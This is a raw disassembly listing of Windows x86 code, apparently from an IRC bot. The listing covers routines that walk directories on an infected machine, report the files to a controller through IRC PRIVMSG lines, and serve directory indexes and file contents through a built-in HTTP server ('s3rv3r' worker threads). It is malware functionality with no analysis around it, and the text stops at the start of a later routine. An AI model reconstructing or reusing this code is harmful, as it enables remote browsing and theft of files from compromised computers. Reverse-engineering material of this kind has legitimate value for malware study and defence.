		push	ebp
		mov	ebp, esp
		sub	esp, 798h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_798]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_40D7B0
		mov	edi, [ebp+arg_0]
		push	offset asc_41A688 ; "\n"
		push	edi
		call	sub_40E1DE
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_406CB8
		push	[ebp+arg_8]
		mov	esi, 400h
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		lea	eax, [ebp+var_58C]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 14h
		jmp	loc_406DB4
; ---------------------------------------------------------------------------


loc_406CB8:				; CODE XREF: sub_406C59+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_406D9A
		call	sub_40D630
		push	edi
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		mov	[eax+edi-1], bl
		mov	esi, 400h
		lea	eax, [ebp+var_58C]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 14h
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_58C]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 10h
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		push	edi
		call	sub_40D630
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		mov	byte ptr [eax+edi], 2Ah
		lea	eax, [ebp+var_58C]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 1Ch
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_58C]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 0Ch
		jmp	short loc_406DB4
; ---------------------------------------------------------------------------


loc_406D9A:				; CODE XREF: sub_406C59+62j
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		mov	esi, 400h
		lea	eax, [ebp+var_58C]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 10h


loc_406DB4:				; CODE XREF: sub_406C59+5Aj
					; sub_406C59+13Fj
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		cmp	[ebp+arg_C], ebx
		jz	short loc_406E4C
		push	[ebp+arg_C]
		call	sub_40D630
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406E4C
		push	[ebp+arg_C]
		call	sub_40D630
		sub	eax, 3
		pop	ecx
		jz	short loc_406E00


loc_406DF4:				; CODE XREF: sub_406C59+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406E00
		dec	eax
		jnz	short loc_406DF4


loc_406E00:				; CODE XREF: sub_406C59+199j
					; sub_406C59+1A2j
		inc	eax
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_798]
		push	eax
		call	sub_40DB80
		lea	eax, [ebp+var_798]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_58C]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 1Ch
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724


loc_406E4C:				; CODE XREF: sub_406C59+17Dj
					; sub_406C59+18Bj
		lea	eax, [ebp+var_18C]
		push	eax
		push	edi
		call	dword_41910C	; FindFirstFileA
		lea	ecx, [ebp+var_18C]
		push	ecx
		push	eax
		mov	[ebp+var_C], eax
		call	dword_419108	; FindNextFileA
		test	eax, eax
		jz	loc_407243
		mov	edi, 3FFh


loc_406E78:				; CODE XREF: sub_406C59+5E4j
		cmp	[ebp+var_18C], ebx
		jz	loc_40722B
		lea	eax, [ebp+var_160]
		push	offset a__	; ".."
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40722B
		lea	eax, [ebp+var_160]
		push	offset a_	; "."
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40722B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	dword_419104	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	dword_419100	; FileTimeToSystemTime
		mov	ax, [ebp+var_14]
		cmp	ax, 0Ch
		mov	ecx, offset aPm_0 ; "PM"
		ja	loc_406F75
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_406EF4:				; CODE XREF: sub_406C59+322j
		push	ecx
		movzx	ecx, [ebp+var_12]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_40D6BB
		add	esp, 20h
		test	byte ptr [ebp+var_18C],	10h
		jz	loc_4070AC
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_406F80
		lea	eax, [ebp+var_160]
		push	eax
		push	offset aS_1	; "<%s>"
		lea	eax, [ebp+var_694]
		push	106h
		push	eax
		call	sub_40DFEC
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_694]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_58C]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 28h
		jmp	loc_4071FC
; ---------------------------------------------------------------------------


loc_406F75:				; CODE XREF: sub_406C59+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_406EF4
; ---------------------------------------------------------------------------


loc_406F80:				; CODE XREF: sub_406C59+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_40706A
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_58C]
		push	edi
		push	eax
		call	sub_40DFEC
		add	esp, 10h
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_58C]
		push	offset aSS_2	; "%s%s/"
		push	edi
		push	eax
		call	sub_40DFEC
		add	esp, 14h
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		lea	eax, [ebp+var_160]
		push	eax
		call	sub_40D630
		cmp	eax, 1Eh
		lea	eax, [ebp+var_160]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		jbe	short loc_407026
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40702B
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_406C59+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40702B:				; CODE XREF: sub_406C59+3CBj
		push	edi
		push	eax
		call	sub_40DFEC
		add	esp, 10h
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4071ED
; ---------------------------------------------------------------------------


loc_40706A:				; CODE XREF: sub_406C59+32Aj
		lea	eax, [ebp+var_160]
		push	eax
		push	offset aS_1	; "<%s>"
		lea	eax, [ebp+var_694]


loc_40707C:				; DATA XREF: .text:0041F6FCo
					; .text:0041F710o ...
		push	106h
		push	eax
		call	sub_40DFEC
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_694]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_407097:				; CODE XREF: sub_406C59+47Bj
		lea	eax, [ebp+var_58C]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 24h
		jmp	loc_4071FC
; ---------------------------------------------------------------------------


loc_4070AC:				; CODE XREF: sub_406C59+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4070D6
		push	ebx
		push	[ebp+var_16C]
		call	sub_405B42
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_407097
; ---------------------------------------------------------------------------


loc_4070D6:				; CODE XREF: sub_406C59+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_4071D6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_58C]
		push	edi
		push	eax
		call	sub_40DFEC
		add	esp, 10h
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_58C]
		push	offset aSS	; "%s%s"
		push	edi
		push	eax
		call	sub_40DFEC
		add	esp, 14h
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		lea	eax, [ebp+var_160]
		push	eax
		call	sub_40D630
		cmp	eax, 1Fh
		lea	eax, [ebp+var_160]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		jbe	short loc_40717C
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_407181
; ---------------------------------------------------------------------------


loc_40717C:				; CODE XREF: sub_406C59+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_407181:				; CODE XREF: sub_406C59+521j
		push	edi
		push	eax
		call	sub_40DFEC
		add	esp, 10h
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		mov	eax, [ebp+var_16C]
		shr	eax, 0Ah
		push	eax
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_58C]
		push	edi
		push	eax
		call	sub_40DFEC
		add	esp, 1Ch
		jmp	short loc_4071FC
; ---------------------------------------------------------------------------


loc_4071D6:				; CODE XREF: sub_406C59+480j
		push	[ebp+var_16C]
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_160]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_4071ED:				; CODE XREF: sub_406C59+40Cj
		lea	eax, [ebp+var_58C]
		push	eax
		call	sub_40DFEC
		add	esp, 18h


loc_4071FC:				; CODE XREF: sub_406C59+317j
					; sub_406C59+44Ej ...
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		cmp	[ebp+arg_8], ebx
		jz	short loc_40722B
		push	7D0h
		call	dword_419060	; Sleep


loc_40722B:				; CODE XREF: sub_406C59+225j
					; sub_406C59+240j ...
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+var_C]
		call	dword_419108	; FindNextFileA
		test	eax, eax
		jnz	loc_406E78


loc_407243:				; CODE XREF: sub_406C59+214j
		push	[ebp+var_C]
		call	dword_4190FC	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_407286
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_405B42
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_405B42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_58C]
		push	offset aPrivmsgSFoun_0 ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_40D6BB
		add	esp, 14h
		jmp	short loc_4072B4
; ---------------------------------------------------------------------------


loc_407286:				; CODE XREF: sub_406C59+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_58C]
		jz	short loc_4072A0
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_40D6BB
		pop	ecx
		pop	ecx
		jmp	short loc_4072B4
; ---------------------------------------------------------------------------


loc_4072A0:				; CODE XREF: sub_406C59+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_40D6BB
		add	esp, 10h


loc_4072B4:				; CODE XREF: sub_406C59+62Bj
					; sub_406C59+645j
		lea	eax, [ebp+var_58C]
		push	ebx
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_58C]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C4724
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406C59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072DA	proc near		; CODE XREF: sub_4073C5+125p

var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_8], esi
		call	dword_4190E0	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407392
		push	esi
		push	ebx
		call	dword_419118	; GetFileSize
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_40738B


loc_40731F:				; CODE XREF: sub_4072DA+AFj
		push	400h
		lea	eax, [ebp+var_408]
		push	esi
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		cmp	edi, [ebp+var_4]
		jbe	short loc_40733C
		mov	edi, [ebp+var_4]


loc_40733C:				; CODE XREF: sub_4072DA+5Dj
		mov	eax, [ebp+var_4]
		push	2
		push	esi
		neg	eax
		push	eax
		push	ebx
		call	dword_419114	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		lea	eax, [ebp+var_408]
		push	eax
		push	ebx
		call	dword_419110	; ReadFile
		push	esi
		push	edi
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407386
		call	dword_4C4748
		cmp	eax, 2733h
		jnz	short loc_40738B
		xor	eax, eax


loc_407386:				; CODE XREF: sub_4072DA+9Bj
		sub	[ebp+var_4], eax
		jnz	short loc_40731F


loc_40738B:				; CODE XREF: sub_4072DA+43j
					; sub_4072DA+A8j
		push	ebx
		call	dword_419064	; CloseHandle


loc_407392:				; CODE XREF: sub_4072DA+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4072DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_407397	proc near		; CODE XREF: sub_40752D+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		xor	esi, esi
		call	sub_40D630
		test	eax, eax
		pop	ecx
		jbe	short loc_4073C0


loc_4073AA:				; CODE XREF: sub_407397+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4073B4
		mov	byte ptr [esi+edi], 2Fh


loc_4073B4:				; CODE XREF: sub_407397+17j
		push	edi
		inc	esi
		call	sub_40D630
		cmp	esi, eax
		pop	ecx
		jb	short loc_4073AA


loc_4073C0:				; CODE XREF: sub_407397+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_407397	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4073C5	proc near		; DATA XREF: sub_40752D+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 1654h
		lea	ebp, [esp-74h]
		call	sub_40D9A0
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+74h+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+74h+var_3C8]
		push	eax
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+74h+var_2C4]
		push	eax
		lea	eax, [ebp+74h+var_654]
		push	eax
		call	sub_40D6BB
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+74h+var_A4], edi
		lea	eax, [ebp+74h+var_9C]
		jz	short loc_40742C
		push	offset aTextHtml ; "text/html"
		jmp	short loc_407431
; ---------------------------------------------------------------------------


loc_40742C:				; CODE XREF: sub_4073C5+5Ej
		push	offset aApplicationOct ; "application/octet-stream"


loc_407431:				; CODE XREF: sub_4073C5+65j
		push	eax
		call	sub_40D6BB
		pop	ecx
		pop	ecx
		push	46h
		lea	eax, [ebp+74h+var_68]
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		mov	esi, 409h
		push	esi
		call	dword_419120	; GetDateFormatA
		push	1Eh
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_41911C	; GetTimeFormatA
		cmp	[ebp+74h+var_B8], 0FFFFFFFFh
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_9C]
		jnz	short loc_40749E
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myShit\r\nCache-"...
		push	eax
		call	sub_40D6BB
		add	esp, 24h
		jmp	short loc_4074B6
; ---------------------------------------------------------------------------


loc_40749E:				; CODE XREF: sub_4073C5+C0j
		push	[ebp+74h+var_B8]
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myShit\r\nCache-"...
		push	eax
		call	sub_40D6BB
		add	esp, 28h


loc_4074B6:				; CODE XREF: sub_4073C5+D7j
		lea	eax, [ebp+74h+var_1654]
		push	edi
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	eax
		push	[ebp+74h+var_44C]
		call	dword_4C4724
		cmp	[ebp+74h+var_A4], edi
		jnz	short loc_4074F3
		lea	eax, [ebp+74h+var_550]
		push	eax
		push	[ebp+74h+var_44C]
		call	sub_4072DA
		pop	ecx
		pop	ecx
		jmp	short loc_407510
; ---------------------------------------------------------------------------


loc_4074F3:				; CODE XREF: sub_4073C5+116j
		lea	eax, [ebp+74h+var_654]
		push	eax
		push	edi
		push	[ebp+74h+var_44C]
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_406C59
		add	esp, 10h


loc_407510:				; CODE XREF: sub_4073C5+12Cj
		push	[ebp+74h+var_44C]
		call	dword_4C479C
		push	[ebp+74h+var_B4]
		call	sub_40AADD
		pop	ecx
		push	edi
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_4073C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40752D	proc near		; CODE XREF: sub_4077DC+399p

var_AC4		= byte ptr -0AC4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0AC4h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_210]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		call	sub_40D7B0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_407563
		push	offset aS_6	; "\\%s"
		jmp	short loc_40756B
; ---------------------------------------------------------------------------


loc_407563:				; CODE XREF: sub_40752D+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_0	; "%s"


loc_40756B:				; CODE XREF: sub_40752D+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_10C]
		add	esp, 0Ch
		push	eax
		xor	esi, esi
		xor	edi, edi
		call	sub_40D630
		test	eax, eax
		pop	ecx
		jbe	short loc_407606
		mov	[ebp+arg_8], 2


loc_407596:				; CODE XREF: sub_40752D+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_40D630
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4075D6
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4075D6
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4075D6
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4075D6
		inc	esi
		inc	esi
		add	[ebp+arg_8], 2
		mov	[ebp+edi+var_210], 20h
		jmp	short loc_4075F0
; ---------------------------------------------------------------------------


loc_4075D6:				; CODE XREF: sub_40752D+79j
					; sub_40752D+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_4075E6
		push	5Ch
		pop	eax
		jmp	short loc_4075E9
; ---------------------------------------------------------------------------


loc_4075E6:				; CODE XREF: sub_40752D+B2j
		movsx	eax, al


loc_4075E9:				; CODE XREF: sub_40752D+B7j
		mov	[ebp+edi+var_210], al


loc_4075F0:				; CODE XREF: sub_40752D+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	edi
		call	sub_40D630
		cmp	esi, eax
		pop	ecx
		jb	short loc_407596


loc_407606:				; CODE XREF: sub_40752D+60j
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_314]
		push	offset aSS	; "%s%s"
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_314]
		push	offset asc_41A688 ; "\n"
		push	eax
		call	sub_40E1DE
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4190C4	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_407654
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407657
		push	[ebp+arg_0]
		jmp	short loc_4076D3
; ---------------------------------------------------------------------------


loc_407654:				; CODE XREF: sub_40752D+11Bj
		mov	[ebp+var_4], esi


loc_407657:				; CODE XREF: sub_40752D+120j
		cmp	[ebp+edi+var_211], 5Ch
		jnz	short loc_407664
		mov	[ebp+var_4], esi


loc_407664:				; CODE XREF: sub_40752D+132j
		cmp	[ebp+var_4], ebx
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_6C4], edi
		mov	[ebp+var_318], ebx
		jz	short loc_4076DE
		cmp	[ebp+arg_C], ebx
		jz	short loc_4076D2
		lea	eax, [ebp+var_314]
		push	offset asc_41A8F4 ; "*"
		push	eax
		call	sub_40D8B0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_407397
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_40D6BB
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_40772D
; ---------------------------------------------------------------------------


loc_4076D2:				; CODE XREF: sub_40752D+14Ej
		push	edi


loc_4076D3:				; CODE XREF: sub_40752D+125j
		call	dword_4C479C
		jmp	loc_4077C3
; ---------------------------------------------------------------------------


loc_4076DE:				; CODE XREF: sub_40752D+149j
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	esi
		push	80000000h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4190E0	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40772D
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_40D6BB
		pop	ecx
		pop	ecx
		push	ebx
		push	esi
		mov	[ebp+var_31C], ebx
		call	dword_419118	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_419064	; CloseHandle


loc_40772D:				; CODE XREF: sub_40752D+1A3j
					; sub_40752D+1CEj
		mov	esi, [ebp+arg_10]
		push	esi
		lea	eax, [ebp+var_AC4]
		push	offset aWorkerThreadOf ; "Worker thread	of s3rv3r thread: %d."
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_AC4]
		push	2
		push	eax
		call	sub_40A83B
		mov	[ebp+var_32C], eax
		imul	eax, 434h
		add	esp, 18h
		mov	dword_42220C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_6C4]
		push	eax
		push	offset sub_4073C5
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_4077D2
		push	edi
		call	dword_4C479C
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_AC4]
		push	offset aFailedToStartW ; "Failed to start work3r thread, error:	<"...
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_AC4]
		push	eax
		call	sub_401648
		add	esp, 10h


loc_4077C3:				; CODE XREF: sub_40752D+1ACj
					; sub_40752D+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4077CA:				; CODE XREF: sub_40752D+2ABj
		push	5
		call	dword_419060	; Sleep


loc_4077D2:				; CODE XREF: sub_40752D+266j
		cmp	[ebp+var_318], ebx
		jz	short loc_4077CA
		jmp	short loc_4077C3
sub_40752D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DC	proc near		; DATA XREF: sub_40198E+1117o

var_2AF0	= byte ptr -2AF0h
var_1AF0	= byte ptr -1AF0h
var_AF0		= byte ptr -0AF0h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_464		= byte ptr -464h
var_360		= dword	ptr -360h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
